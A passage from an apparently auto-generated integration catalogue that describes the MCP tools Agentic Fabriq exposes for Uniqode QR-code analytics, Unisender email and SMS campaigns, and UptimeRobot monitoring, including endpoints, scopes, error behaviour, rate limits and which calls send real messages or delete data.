organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/country/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_device_os (read) — QR analytics: device OS distribution via POST /api/2.0/organizations/{organization_id}/products/qr/scans/device-os/. Scans by device operating system with share of total (`results[]` of `device_os`, `scans`, `percentage`); labels are iPhone, android, iPad OS, windows, mac and Other. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/device-os/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_distribution (read) — QR analytics: scans over time via POST /api/2.0/organizations/{organization_id}/products/qr/scans/distribution/. Scan counts bucketed into a time series (`results[]` of `time_in_ms`, `scans`). `interval` sets the bucket (default `1d`) and `timezone` aligns it. The series is complete and zero-filled: every bucket in the window is present. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/distribution/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_list (read) — QR analytics: scans per QR code via POST /api/2.0/organizations/{organization_id}/products/qr/scans/list/. Scan counts grouped by QR code (`results[]` of `qr_id`, `qr_name`, `scans`), sorted by `sort_key` (`scans` or `beacon`) and capped at `limit` (default 2000, max 5000); `time_of_day_data` restricts to one local hour and weekday. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/list/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_locations (read) — QR analytics: scan location coordinates via POST /api/2.0/organizations/{organization_id}/products/qr/scans/locations/. Raw latitude/longitude pairs for plotting scans on a map: `ip_data` (IP-geolocated, near-universal, city-accurate) and `gps_data` (device-reported, precise, present only when the scanner granted location permission). Neither array is deduplicated. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/locations/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_time_of_day (read) — QR analytics: time-of-day distribution via POST /api/2.0/organizations/{organization_id}/products/qr/scans/time-of-day/. Scans by weekday and local hour for a heatmap: `results` is keyed by English day name, each mapping hour-of-day (as a JSON string key) to a count. SPARSE, not zero-filled -- quiet hours are omitted. `timezone` resolves the local hour. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/time-of-day/. Scopes: api. beaconstac_post_organizations_by_organization_id_products_qr_scans_top (read) — QR analytics: top QR codes via POST /api/2.0/organizations/{organization_id}/products/qr/scans/top/. Leaderboard of QR codes by scan count (`results[]` of `qr_id`, `qr_name`, `scans`): `limit` (default 5, max 100) rows, highest first unless `descending` is false. `from_timestamp` and `to_timestamp` are epoch MILLISECONDS and both are required. Three replies here are NOT a credential problem (measured 2026-09-19): a missing timestamp answers 403 'Missing required parameter: ...' on the QR and LinkPage families and 400 '{"from_timestamp": ["This field is required."]}' on the Card family; and a window longer than the plan's analytics retention answers 403 'Analytics data access is limited to N days on your current plan' (30 days on the trial) -- shorten the window. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/organization/products/qr/scans/top/. Scopes: api. beaconstac_post_places (write) — Create a place via POST /api/2.0/places/. Create a place: `name`, `latitude`, `longitude`, Google `place_id`, `address`, and optional business cover/icon URLs and colour. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/places/. Scopes: api. beaconstac_post_qrcodes (write) — Create a QR code via POST /api/2.0/qrcodes/. Create a QR code in the connected organization. `qr_type` selects the kind: 2 is a DYNAMIC code whose destination is a `campaign` object and can be edited later (and is the only kind with analytics, activation and a sleeping state); 1 is a STATIC code whose payload is baked into the image through `fields_data` and cannot change afterwards. For a dynamic code set `campaign.content_type` and the matching object: 1 Custom URL (`campaign.custom_url`), 3 Feedback Form (`campaign.form`, a form id), 5 App Links (`campaign.app_links`), 7 vCard Plus (`campaign.vcard_plus`), 8 Social Media (`campaign.social_media`), 9 Facebook page (`campaign.facebook_page`), 10 Coupon (`campaign.coupon`), 11 Business Card (`campaign.business_card`), 13 PDF (`campaign.pdf`), 15 Phone call (`campaign.phone_call`), 16 SMS (`campaign.phone_sms`), 17 Email (`campaign.email`), 22 Geo Location (`campaign.geo_location_content`, with `meta.dynamic_sub_campaign: "geo_location"`), 23 Smart Rules (`campaign.smart_rules`, with `meta.dynamic_sub_campaign: "smart_rules"`). For a static code set `fields_data` with `fields_data.qr_type` 1 Website (`url`), 2 SMS (`phone`, `body`), 3 Phone call (`phone`), 4 Email (`email`, `subject`, `body`), 5 vCard (name, phone, address and website fields), 6 Text (`text`), 7 WiFi (`ssid`, `password`, `encryption`). `attributes` styles the image (colours, eye shapes, frame, logo); `name` labels the code in the dashboard. The vendor documents these 21 shapes as separate examples of the one endpoint; this tool's body schema is their union, so send only the fields that belong to the type you chose. Measured 2026-09-19: a dynamic Custom URL body answers 200 with the created record (`id`, `state: A`, the short `url` on qrcodes.pro, the `campaign` object); the organization is written in from this connection. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/qrcodes/. Scopes: api. beaconstac_post_qrtemplates (write) — Create a QR code template via POST /api/2.0/qrtemplates/. Create a QR code design template (data pattern, colours, eye shapes, frame style and text, logo, background). Fields you omit take Uniqode's defaults. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/qrtemplates/. Scopes: api. beaconstac_post_reporting_csv_export (write) — Email a full analytics CSV export via POST /reporting/2.0/. Email a CSV of every analytics metric for the given products over a window to the connection's own account holder. `product_id` is the list of QR code ids (`[]` for every product in the organization), `from`/`to` bound the window in epoch milliseconds, `timezone` defaults to UTC and `product_type` is `qr`. A CSV over 5 MB arrives as a link to a password-protected zip. The vendor's optional `email` recipient field is NOT offered, so the export cannot go to an address a caller names; per the vendor's documentation ('If email is not passed, the mail is automatically sent to the email of the user making the request') it goes to the key holder -- documented, not measured here, because a valid call sends mail. Answers 400 `from and to POST params cannot be empty` when the window is missing (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/reporting/2.0/. Scopes: api. beaconstac_post_tags (write) — Create a tag via POST /api/2.0/tags/. Create a tag: `name`, `color` (hex) and the object id lists it applies to (`qrcode_set`; `beacon_set`, `nfctag_set` and `geofence_set` belong to legacy hardware products and are normally empty). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. POST /api/v1/beaconstac/tags/. Scopes: api. beaconstac_put_bulkqrcodes_by_bulk_qrcode_id (write) — Update a bulk QR code collection via PUT /api/2.0/bulkqrcodes/{bulk_qrcode_id}/. Update a bulk QR code collection's name, styling `attributes` or `media` by id (deprecated bulk API); fields you omit are left unchanged. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/bulkqrcodes/{bulk_qrcode_id}/. Scopes: api. beaconstac_put_dbc_by_card_id (write) — Update a digital business card via PUT /api/2.0/dbc/{card_id}/. Update a digital business card by id; fields you omit are left unchanged. The vendor requires `first_name` and `customizations` on every update. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/dbc/{card_id}/. Scopes: api. beaconstac_put_dbc_by_card_id_activate (write) — Activate a digital business card via PUT /api/2.0/dbc/{card_id}/activate/. Activate a digital business card (Sleeping `S` to Active `A`). Answers 400 if the card is already active. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/dbc/{card_id}/activate/. Scopes: api. beaconstac_put_forms_by_form_id (write) — Update a feedback form via PUT /api/2.0/forms/{form_id}/. Update a feedback form by id; fields you omit are left unchanged. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/forms/{form_id}/. Scopes: api. beaconstac_put_media_by_media_id (write) — Update a media object via PUT /api/2.0/media/{media_id}/. Update a media object's `name`, `content_type`, `visible` or `typeform_compatible` flags by id. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/media/{media_id}/. Scopes: api. beaconstac_put_organizations_by_organization_id (write) — Update the connected organization via PUT /api/2.0/organizations/{organization_id}/. Update the CONNECTED organization (for example its `name`); fields you omit are left unchanged. The id is this connection's Organization ID. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/organization/. Scopes: api. beaconstac_put_organizationwebhooks_by_webhook_id (write) — Update a webhook via PUT /api/2.0/organizationwebhooks/{webhook_id}/. Update WHICH EVENTS an existing webhook fires on, by id: `qr_code_events` (create/update/delete/view), `form_events` (form_response_submitted) and the legacy `nfc_tag_events`, `beacon_events`, `geofence_events`; fields you omit are left unchanged. The destination `url` and the `webhook_authorization` headers CANNOT be changed through this tool: Agentic Fabriq strips both from the body before the request leaves, so a webhook can only ever deliver to the URL it was registered with in the Uniqode dashboard. Creating a webhook is not offered for the same reason. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/organizationwebhooks/{webhook_id}/. Scopes: api. beaconstac_put_places_by_place_id (write) — Update a place via PUT /api/2.0/places/{place_id}/. Update a place by id; fields you omit are left unchanged. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/places/{place_id}/. Scopes: api. beaconstac_put_qrcodes_by_qrcode_id (write) — Update a QR code via PUT /api/2.0/qrcodes/{qrcode_id}/. Update a QR code by id: fields you send are set, fields you omit are left unchanged (a partial update, per the vendor) -- EXCEPT that `qr_type` is required on every update: a body without it answers 400 `{"qr_type": ["This field is required."]}`, and `{name, qr_type}` answers 201 with the updated record (measured 2026-09-19 on a disposable code). Changing a dynamic code's `campaign` re-points every printed copy of it; a static code's payload cannot be changed and only its `name` and `attributes` are editable. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/qrcodes/{qrcode_id}/. Scopes: api. beaconstac_put_qrcodes_by_qrcode_id_activate (write) — Activate a QR code via PUT /api/2.0/qrcodes/{qrcode_id}/activate/. Activate a DYNAMIC QR code: moves it from the Sleeping state (`S`) to Active (`A`) so scans resolve again. Not applicable to static codes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/qrcodes/{qrcode_id}/activate/. Scopes: api. beaconstac_put_qrtemplates_by_template_id (write) — Update a QR code template via PUT /api/2.0/qrtemplates/{template_id}/. Update a QR code template by id; fields you omit are left unchanged. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/qrtemplates/{template_id}/. Scopes: api. beaconstac_put_tags_by_tag_id (write) — Update a tag via PUT /api/2.0/tags/{tag_id}/. Update a tag by id: rename it, recolour it or change the `qrcode_set` it applies to. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/tags/{tag_id}/. Scopes: api. beaconstac_put_users_by_user_id (write) — Update a user via PUT /api/2.0/users/{user_id}/. Update a user's profile fields by id; fields you omit are left unchanged. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. PUT /api/v1/beaconstac/users/{user_id}/. Scopes: api. ================================================================================ ## Unisender URL: https://www.agenticfabriq.com/integrations/unisender Section: Integrated Tools Unisender — 55 MCP tools Provider key: unisender. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. unisender_async_export_contacts (read) — Export contacts (async) via POST /{lang}/api/async/exportContacts. Start a contact export and return a task_uuid; poll async/getTaskResult for the download link. Filters narrow the export to one list, contact or status. Rate limit 20 requests/60s per API key or IP. POST /api/v1/unisender/async/exportContacts. Scopes: api. unisender_async_get_campaign_delivery_stats (read) — Get per-address delivery report (async) via POST /{lang}/api/async/getCampaignDeliveryStats. Start a per-address delivery report for one campaign and return a task_uuid; poll async/getTaskResult for the download link. POST /api/v1/unisender/async/getCampaignDeliveryStats. Scopes: api. unisender_async_get_task_result (read) — Get async task result via POST /{lang}/api/async/getTaskResult. Status of an asynchronous task, and its download link once finished. Universal: it serves async/exportContacts and async/getCampaignDeliveryStats alike, and names which method the task belongs to. POST /api/v1/unisender/async/getTaskResult. Scopes: api. unisender_cancel_campaign (write) — Cancel campaign via POST /{lang}/api/cancelCampaign. Cancel a scheduled campaign that has not been sent yet. POST /api/v1/unisender/cancelCampaign. Scopes: api. unisender_check_email (read) — Check email delivery status via POST /{lang}/api/checkEmail. Delivery status of one or more messages sent by sendEmail. Rate limit 300 requests/60s per API key or IP. POST /api/v1/unisender/checkEmail. Scopes: api. unisender_check_sms (read) — Check SMS delivery status via POST /{lang}/api/checkSms. Delivery status of a message sent by sendSms. POST /api/v1/unisender/checkSms. Scopes: api. unisender_create_campaign (write, destructive) — Create campaign via POST /{lang}/api/createCampaign. Schedule or start a campaign for a message created earlier. SENDS REAL MAIL: with no start_time the send begins immediately. Rate limit 100 requests/60s per API key or IP. POST /api/v1/unisender/createCampaign. Scopes: api. unisender_create_email_message (write) — Create email message via POST /{lang}/api/createEmailMessage. Create an email message for a later campaign and return its message id. File attachments are not offered: Unisender takes them as raw binary content and forbids base64, which no JSON argument can carry. POST /api/v1/unisender/createEmailMessage. Scopes: api. unisender_create_email_template (write) — Create email template via POST /{lang}/api/createEmailTemplate. Create a reusable email template and return its id. POST /api/v1/unisender/createEmailTemplate. Scopes: api. unisender_create_field (write) — Create contact field via POST /{lang}/api/createField. Create an additional contact field and return its id. POST /api/v1/unisender/createField. Scopes: api. unisender_create_list (write) — Create contact list via POST /{lang}/api/createList. Create a new contact list and return its id. POST /api/v1/unisender/createList. Scopes: api. unisender_create_sms_message (write) — Create SMS message via POST /{lang}/api/createSmsMessage. Create an SMS message for a later campaign and return its message id. POST /api/v1/unisender/createSmsMessage. Scopes: api. unisender_create_subscriber_note (write) — Create contact note via POST /{lang}/api/createSubscriberNote. Attach a note to a contact. POST /api/v1/unisender/createSubscriberNote. Scopes: api. unisender_delete_field (write, destructive) — Delete contact field via POST /{lang}/api/deleteField. Delete an additional contact field and every value stored in it. POST /api/v1/unisender/deleteField. Scopes: api. unisender_delete_list (write, destructive) — Delete contact list via POST /{lang}/api/deleteList. Delete a contact list. The contacts themselves stay in the account. POST /api/v1/unisender/deleteList. Scopes: api. unisender_delete_message (write, destructive) — Delete message via POST /{lang}/api/deleteMessage. Delete a message created by createEmailMessage or createSmsMessage. POST /api/v1/unisender/deleteMessage. Scopes: api. unisender_delete_subscriber_note (write, destructive) — Delete contact note via POST /{lang}/api/deleteSubscriberNote. Delete a contact note. POST /api/v1/unisender/deleteSubscriberNote. Scopes: api. unisender_delete_tag (write, destructive) — Delete tag via POST /{lang}/api/deleteTag. Delete a tag and remove it from every contact carrying it. POST /api/v1/unisender/deleteTag. Scopes: api. unisender_delete_template (write, destructive) — Delete template via POST /{lang}/api/deleteTemplate. Delete an email template. POST /api/v1/unisender/deleteTemplate. Scopes: api. unisender_exclude (write, destructive) — Exclude a contact via POST /{lang}/api/exclude. Exclude a contact from the named lists, or from every list when none are named. POST /api/v1/unisender/exclude. Scopes: api. unisender_get_actual_message_version (read) — Get current message version via POST /{lang}/api/getActualMessageVersion. Id of the current version of a message that has been edited. POST /api/v1/unisender/getActualMessageVersion. Scopes: api. unisender_get_campaign_common_stats (read) — Get campaign summary statistics via POST /{lang}/api/getCampaignCommonStats. Aggregate delivery, open, click and unsubscribe counts for one campaign. POST /api/v1/unisender/getCampaignCommonStats. Scopes: api. unisender_get_campaign_status (read) — Get campaign status via POST /{lang}/api/getCampaignStatus. Current status of one campaign. POST /api/v1/unisender/getCampaignStatus. Scopes: api. unisender_get_campaigns (read) — Get campaigns via POST /{lang}/api/getCampaigns. List campaigns started within a time window. POST /api/v1/unisender/getCampaigns. Scopes: api. unisender_get_contact (read) — Get a contact via POST /{lang}/api/getContact. Read one contact by email address, optionally with its lists, fields and details. POST /api/v1/unisender/getContact. Scopes: api. unisender_get_contact_count (read) — Count contacts in a list via POST /{lang}/api/getContactCount. Count the contacts in one list that match a search. At least one search parameter is required. Rate limit 60 requests/60s per API key or IP. POST /api/v1/unisender/getContactCount. Scopes: api. unisender_get_contact_field_values (read) — Get a contact's field values via POST /{lang}/api/getContactFieldValues. Read the values one contact holds in the named additional fields. POST /api/v1/unisender/getContactFieldValues. Scopes: api. unisender_get_fields (read) — Get contact fields via POST /{lang}/api/getFields. List the account's additional contact fields with their ids, names and types. POST /api/v1/unisender/getFields. Scopes: api. unisender_get_lists (read) — Get contact lists via POST /{lang}/api/getLists. List every contact list in the account, with each list's id and title. POST /api/v1/unisender/getLists. Scopes: api. unisender_get_message (read) — Get message via POST /{lang}/api/getMessage. Read one message by id, as returned by createEmailMessage or createSmsMessage. POST /api/v1/unisender/getMessage. Scopes: api. unisender_get_messages (read) — Get messages via POST /{lang}/api/getMessages. List messages created within a time window, with their bodies. POST /api/v1/unisender/getMessages. Scopes: api. unisender_get_sender_domain_list (read) — Get sender domains via POST /{lang}/api/getSenderDomainList. Sender domains registered on the account, with their DKIM and verification state. POST /api/v1/unisender/getSenderDomainList. Scopes: api. unisender_get_subscriber_note (read) — Get contact note via GET /{lang}/api/getSubscriberNote. Read one contact note. GET only: this method answers 405 to a POST. GET /api/v1/unisender/getSubscriberNote. Scopes: api. unisender_get_subscriber_notes (read) — Get a contact's notes via GET /{lang}/api/getSubscriberNotes. List one contact's notes, paged and sorted. GET only: this method answers 405 to a POST. GET /api/v1/unisender/getSubscriberNotes. Scopes: api. unisender_get_tags (read) — Get tags via POST /{lang}/api/getTags. List every tag in the account with its id. POST /api/v1/unisender/getTags. Scopes: api. unisender_get_template (read) — Get template via POST /{lang}/api/getTemplate. Read one template, user or system, with its body. POST /api/v1/unisender/getTemplate. Scopes: api. unisender_get_templates (read) — Get templates via POST /{lang}/api/getTemplates. List templates with their bodies, filtered by type and creation window. POST /api/v1/unisender/getTemplates. Scopes: api. unisender_get_total_contacts_count (read) — Count all contacts via POST /{lang}/api/getTotalContactsCount. Total number of contacts in the account. Returns {"total": n}. POST /api/v1/unisender/getTotalContactsCount. Scopes: api. unisender_get_visited_links (read) — Get link clicks via POST /{lang}/api/getVisitedLinks. Link clicks recorded for one campaign. POST /api/v1/unisender/getVisitedLinks. Scopes: api. unisender_get_web_version (read) — Get campaign web version via POST /{lang}/api/getWebVersion. The public web-page version of a sent campaign. POST /api/v1/unisender/getWebVersion. Scopes: api. unisender_import_contacts (write, destructive) — Import contacts via POST /{lang}/api/importContacts. Bulk add or update contacts: field_names names the columns and data carries one row per contact in that order. A column named 'delete' holding 1 DELETES that contact. POST /api/v1/unisender/importContacts. Scopes: api. unisender_is_contact_in_lists (read) — Check list membership via POST /{lang}/api/isContactInLists. Whether a contact is in the given lists, under an 'or' or 'and' condition. POST /api/v1/unisender/isContactInLists. Scopes: api. unisender_list_messages (read) — List messages via POST /{lang}/api/listMessages. List messages created within a time window, without their bodies. POST /api/v1/unisender/listMessages. Scopes: api. unisender_list_templates (read) — List templates via POST /{lang}/api/listTemplates. List templates without their bodies, filtered by type and creation window. POST /api/v1/unisender/listTemplates. Scopes: api. unisender_send_email (write, destructive) — Send a single email via POST /{lang}/api/sendEmail. Send one transactional email immediately and return its email_id. SENDS REAL MAIL. User substitution fields are barely supported here, by design. File attachments are not offered: Unisender takes them as raw binary content and forbids base64, which no JSON argument can carry. Rate limit 60 requests/60s per API key or IP. POST /api/v1/unisender/sendEmail. Scopes: api. unisender_send_sms (write, destructive) — Send an SMS via POST /{lang}/api/sendSms. Send one SMS immediately and return its sms_id. SENDS A REAL MESSAGE. Rate limit 300 requests/60s per API key or IP. POST /api/v1/unisender/sendSms. Scopes: api. unisender_send_test_email (write) — Send a test email via POST /{lang}/api/sendTestEmail. Send a test copy of an existing message. SENDS REAL MAIL to the addresses given. POST /api/v1/unisender/sendTestEmail. Scopes: api. unisender_subscribe (write) — Subscribe a contact via POST /{lang}/api/subscribe. Add one contact to one or more lists, setting its fields and tags. By default a confirmation email is sent; double_optin=3 adds the contact outright. Returns person_id. Rate limit 300 requests/60s per API key or IP. POST /api/v1/unisender/subscribe. Scopes: api. unisender_unsubscribe (write, destructive) — Unsubscribe a contact via POST /{lang}/api/unsubscribe. Mark a contact unsubscribed from the named lists, or from every list it is in when none are named. The contact's account-level status is unchanged. POST /api/v1/unisender/unsubscribe. Scopes: api. unisender_update_email_message (write) — Update email message via POST /{lang}/api/updateEmailMessage. Edit an email message created earlier by createEmailMessage. POST /api/v1/unisender/updateEmailMessage. Scopes: api. unisender_update_email_template (write) — Update email template via POST /{lang}/api/updateEmailTemplate. Edit an existing email template. POST /api/v1/unisender/updateEmailTemplate. Scopes: api. unisender_update_field (write) — Update contact field via POST /{lang}/api/updateField. Rename an additional contact field. POST /api/v1/unisender/updateField. Scopes: api. unisender_update_list (write) — Update contact list via POST /{lang}/api/updateList. Change a contact list's title or its before/after subscribe redirects. POST /api/v1/unisender/updateList. Scopes: api. unisender_update_opt_in_email (write) — Update opt-in confirmation email via POST /{lang}/api/updateOptInEmail. Replace the subscription-confirmation email sent for one list. The body MUST contain at least one link carrying the confirmation href. POST /api/v1/unisender/updateOptInEmail. Scopes: api. unisender_update_subscriber_note (write) — Update contact note via POST /{lang}/api/updateSubscriberNote. Replace the text of an existing contact note. POST /api/v1/unisender/updateSubscriberNote. Scopes: api. ================================================================================ ## UptimeRobot URL: https://www.agenticfabriq.com/integrations/uptime_robot Section: Integrated Tools UptimeRobot — 61 MCP tools Provider key: uptime_robot. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. uptime_robot_delete_alert_contacts_by_id (write, destructive) — Delete / alert-contacts / {id} DELETE /api/v1/uptime_robot/alert-contacts/{id}. Scopes: api. uptime_robot_delete_incidents_by_id_comments_by_commentid (write, destructive) — Delete / incidents / {id} / comments / {commentId} DELETE /api/v1/uptime_robot/incidents/{id}/comments/{commentId}. Scopes: api. uptime_robot_delete_integrations_by_id (write, destructive) — Delete / integrations / {id} DELETE /api/v1/uptime_robot/integrations/{id}. Scopes: api. uptime_robot_delete_maintenance_windows_by_id (write, destructive) — Delete / maintenance-windows / {id} DELETE /api/v1/uptime_robot/maintenance-windows/{id}. Scopes: api. uptime_robot_delete_monitor_groups_by_id (write, destructive) — Delete / monitor-groups / {id} DELETE /api/v1/uptime_robot/monitor-groups/{id}. Scopes: api. uptime_robot_delete_monitors_by_id (write, destructive) — Delete / monitors / {id} DELETE /api/v1/uptime_robot/monitors/{id}. Scopes: api. uptime_robot_delete_psps_by_id (write, destructive) — Delete / psps / {id} DELETE /api/v1/uptime_robot/psps/{id}. Scopes: api. uptime_robot_delete_tags_by_id (write, destructive) — Delete / tags / {id} DELETE /api/v1/uptime_robot/tags/{id}. Scopes: api. uptime_robot_get_alert_contacts (read) — Retrieve / alert-contacts GET /api/v1/uptime_robot/alert-contacts. Scopes: api. uptime_robot_get_alert_contacts_by_id (read) — Retrieve / alert-contacts / {id} GET /api/v1/uptime_robot/alert-contacts/{id}. Scopes: api. uptime_robot_get_incidents (read) — Retrieve / incidents GET /api/v1/uptime_robot/incidents. Scopes: api. uptime_robot_get_incidents_by_id (read) — Retrieve / incidents / {id} GET /api/v1/uptime_robot/incidents/{id}. Scopes: api. uptime_robot_get_incidents_by_id_activity_log (read) — Retrieve / incidents / {id} / activity-log GET /api/v1/uptime_robot/incidents/{id}/activity-log. Scopes: api. uptime_robot_get_incidents_by_id_alerts (read) — Retrieve / incidents / {id} / alerts GET /api/v1/uptime_robot/incidents/{id}/alerts. Scopes: api. uptime_robot_get_incidents_by_id_comments (read) — Retrieve / incidents / {id} / comments GET /api/v1/uptime_robot/incidents/{id}/comments. Scopes: api. uptime_robot_get_integrations (read) — Retrieve / integrations GET /api/v1/uptime_robot/integrations. Scopes: api. uptime_robot_get_integrations_by_id (read) — Retrieve / integrations / {id} GET /api/v1/uptime_robot/integrations/{id}. Scopes: api. uptime_robot_get_maintenance_windows (read) — Retrieve / maintenance-windows GET /api/v1/uptime_robot/maintenance-windows. Scopes: api. uptime_robot_get_maintenance_windows_by_id (read) — Retrieve / maintenance-windows / {id} GET /api/v1/uptime_robot/maintenance-windows/{id}. Scopes: api. uptime_robot_get_monitor_groups (read) — Retrieve / monitor-groups GET /api/v1/uptime_robot/monitor-groups. Scopes: api. uptime_robot_get_monitor_groups_by_id (read) — Retrieve / monitor-groups / {id} GET /api/v1/uptime_robot/monitor-groups/{id}. Scopes: api. uptime_robot_get_monitors (read) — Retrieve / monitors GET /api/v1/uptime_robot/monitors. Scopes: api. uptime_robot_get_monitors_by_id (read) — Retrieve / monitors / {id} GET /api/v1/uptime_robot/monitors/{id}. Scopes: api. uptime_robot_get_monitors_by_id_dependency_incidents (read) — Retrieve / monitors / {id} / dependency / incidents GET /api/v1/uptime_robot/monitors/{id}/dependency/incidents. Scopes: api. uptime_robot_get_monitors_by_id_dependency_status (read) — Retrieve / monitors / {id} / dependency / status GET /api/v1/uptime_robot/monitors/{id}/dependency/status. Scopes: api. uptime_robot_get_monitors_by_id_stats_response_time (read) — Retrieve / monitors / {id} / stats / response-time GET /api/v1/uptime_robot/monitors/{id}/stats/response-time. Scopes: api. uptime_robot_get_monitors_by_id_stats_response_time_all (read) — Retrieve / monitors / {id} / stats / response-time / all GET /api/v1/uptime_robot/monitors/{id}/stats/response-time/all. Scopes: api. uptime_robot_get_monitors_by_id_stats_uptime (read) — Retrieve / monitors / {id} / stats / uptime GET /api/v1/uptime_robot/monitors/{id}/stats/uptime. Scopes: api. uptime_robot_get_monitors_storm_protection (read) — Retrieve / monitors / storm-protection GET /api/v1/uptime_robot/monitors/storm-protection. Scopes: api. uptime_robot_get_monitors_uptime_stats (read) — Retrieve / monitors / uptime-stats GET /api/v1/uptime_robot/monitors/uptime-stats. Scopes: api. uptime_robot_get_psps (read) — Retrieve / psps GET /api/v1/uptime_robot/psps. Scopes: api. uptime_robot_get_psps_by_id (read) — Retrieve / psps / {id} GET /api/v1/uptime_robot/psps/{id}. Scopes: api. uptime_robot_get_psps_by_pspid_announcements (read) — Retrieve / psps / {pspId} / announcements GET /api/v1/uptime_robot/psps/{pspId}/announcements. Scopes: api. uptime_robot_get_psps_by_pspid_announcements_by_id (read) — Retrieve / psps / {pspId} / announcements / {id} GET /api/v1/uptime_robot/psps/{pspId}/announcements/{id}. Scopes: api. uptime_robot_get_tags (read) — Retrieve / tags GET /api/v1/uptime_robot/tags. Scopes: api. uptime_robot_get_user_alert_contacts (read) — Retrieve / user / alert-contacts GET 